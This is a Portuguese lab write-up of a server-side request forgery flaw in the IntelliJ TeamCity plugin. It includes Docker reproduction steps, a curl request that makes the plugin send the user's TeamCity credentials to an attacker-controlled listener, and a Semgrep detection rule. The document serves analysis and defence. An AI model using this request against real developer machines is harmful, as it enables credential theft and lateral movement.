
AVISO O comportamento vulnerável ilustrado abaixo foi verificado empiricamente a partir de artefatos descompilados e corrigidos, o que tenta se assemelhar à vulnerabilidade original inferida com uma abordagem heurística, pois a versão original vulnerável do plugin não está mais disponível. O repositório contém um zip com uma build minimamente editada (derivada da versão corrigida) usada para reprodução isolada em laboratório.
Este CVE diz respeito ao plugin de integração do IntelliJ IDEA com o TeamCity, que permite a integração da IDE com o TeamCity, um orquestrador de CI/CD e arquivo que armazena configurações de build e outros artefatos, expostos por meio de APIs REST/RPC.
O plugin abre localmente alguns endpoints HTTP, que em um cenário comum são chamados com os componentes que o plugin adicionou à GUI. No cenário observado, este servidor local não implementa nenhuma camada de controle de acesso e, de fato, atua como middleware entre a IDE e o servidor TeamCity.
O manipulador de requisições no lado do servidor do plugin aceita um parâmetro controlado pelo usuário na URL e o utiliza para construir uma URL de download de patch sem validação suficiente (CWE-918). O plugin então emite um HTTP GET para a URL forjada, carregando cabeçalhos de autenticação do usuário logado, com credenciais do TeamCity, já que o TeamCity expõe APIs REST/RPC. Supondo que o atacante possa alcançar o host do desenvolvedor (ex.: phishing, XSS), ele pode executar um ataque de SSRF (CAPEC-6634), forçando o plugin a fazer uma requisição para um host controlado pelo atacante, que está ouvindo no endpoint codificado no parâmetro controlado pelo usuário, levando ao vazamento de credenciais. Isso estabelece o contexto para, por exemplo, um ponto de apoio (foothold) ou movimento lateral.
Connection.run() → Connection.doHandle()
busca a URI da requisição e os parâmetros, analisados no mapa params (incluindo o parâmetro file)ActivatorBase.handle(res, params, ...) — res == "/patch" aciona handleLoadPatch(params)handleLoadPatch agenda o trabalho e eventualmente chama UrlUtil.createUrl(params, serverUrl) — este é o componente que modifiquei para torná-lo vulnerável; o valor de file é inserido como esquema:endereço/caminho da URL sem validação, e outros parâmetros são anexadosActivatorBase.downloadPatch(patchUrl, username, password) cria um HttpClient com UsernamePasswordCredentials e chama client.executeMethod(get); a requisição de rede real é emitida para patchUrlMinha configuração : TeamCity 2020.2.1, IntelliJ IDEA Community 2018.1.8, host: ARM64 Kali Linux 2025.3. Todos os contêineres air-gapped.
(opcional) crie uma rede Docker isolada
docker network create tc-nec
Baixe e inicie o IntelliJ IDEA, crie um projeto efêmero de qualquer tipo. Carregue a extensão fornecida como arquivo zip
Construa e inicie o contêiner do servidor TeamCity : os artefatos relevantes estão na pasta tc-server; acesse o painel do TeamCity e crie um ambiente efêmero do TeamCity e um usuário
docker build -t lab-teamcity ./pocartifacts/tc-server
docker run -d --name lab-teamcity \
--network tc-net \
-p 127.0.0.1:8111:8111 \
lab-teamcity
Construa e inicie o sink HTTP malicioso : os artefatos relevantes estão na pasta http-listener
docker build -t lab-sink ./pocartifacts/http-listener
docker run -d --name lab-sink \
--network tc-net \
-p 127.0.0.1:8000:8000 \
lab-sink
(opcional) habilite o log do plugin com severidade trace para análise granular da execução : GUI da IDE → pesquise nas configurações de log de depuração → adicione a linha #jetbrains.buildServer.activation → reinicie a IDE
Conecte-se ao servidor TeamCity local : Settings → Tools → TeamCity → Add Server e aponte para http://127.0.0.1:8111 , faça login com o usuário criado
envie a seguinte requisição
curl -Is http://localhost:63330/path?file=http://localhost:8000/&modId=&personal=false
O servidor sink registrou a requisição HTTP do plugin
docker exec lab-sink "cat sink.log"
Primeiramente, gostaria de sugerir o deslocamento da segurança para a esquerda (shift left) no SDLC, por meio da especificação de requisitos de segurança quantificáveis e implementáveis, mantendo os requisitos do OWASP ASVS como diretriz, fazendo um fork e adotando apenas os itens relacionados a código relevantes para os requisitos da aplicação. Especialistas em Segurança de Aplicações devem mapear esses requisitos para componentes de código específicos ou até mesmo trechos individuais. Os desenvolvedores devem ser treinados para saber como implementar esses requisitos de segurança: conhecer os mecanismos de segurança embutidos em sua linguagem/framework. Juntos, eles devem trabalhar em uma matriz que mapeie cada requisito para o pacote, classe ou função responsável e listar verificações de aceitação relevantes (testes unitários, regras SAST), o que garantiria a conformidade do código com o conjunto ASVS modificado.
Múltiplos portões de revisão de segurança devem ser integrados em todo o pipeline de entrega. Desde a própria máquina do desenvolvedor, por meio de um plugin de IDE e hooks de pre-commit do git, até varreduras completas no pipeline de CI e DAST baseado em fuzzing em ambientes personalizados (implantação contínua). Em qualquer erro, o build/entrega deve falhar. Os dados resultantes dessas varreduras devem ser constantemente agregados e revisados para refinar o processo e eliminar falsos positivos/falsos negativos.
Este é um exemplo de regra Semgrep para detectar construção de URL sem sanitização de parâmetros controlados pelo usuário, em Java, com a biblioteca http-client usada no plugin
rules:
- id: java-ssrf-url-from-params
patterns:
- pattern-either:
- pattern: |
$A = params.get($P)
...
$URLSTRING = $A + $REST
...
new URL($URLSTRING)
- pattern: |
$A = request.getParameter($P)
...
$URLSTRING = $PREFIX + $A + $SUFFIX
...
new URL($URLSTRING)
- pattern: new URL(params.get($P))
- pattern: new URL(request.getParameter($P))
- pattern-not: "// semgrep:skip"
message: |
Possible SSRF / unsafe URL construction: URL is built from request parameters without validation.
Validate/whitelist scheme and host; canonicalize path; do not forward credentials to untrusted hosts.
languages: [java]
severity: ERROR
metadata:
cwe: "CWE-918"
tags: ["security", "ssrf", "input-validation"]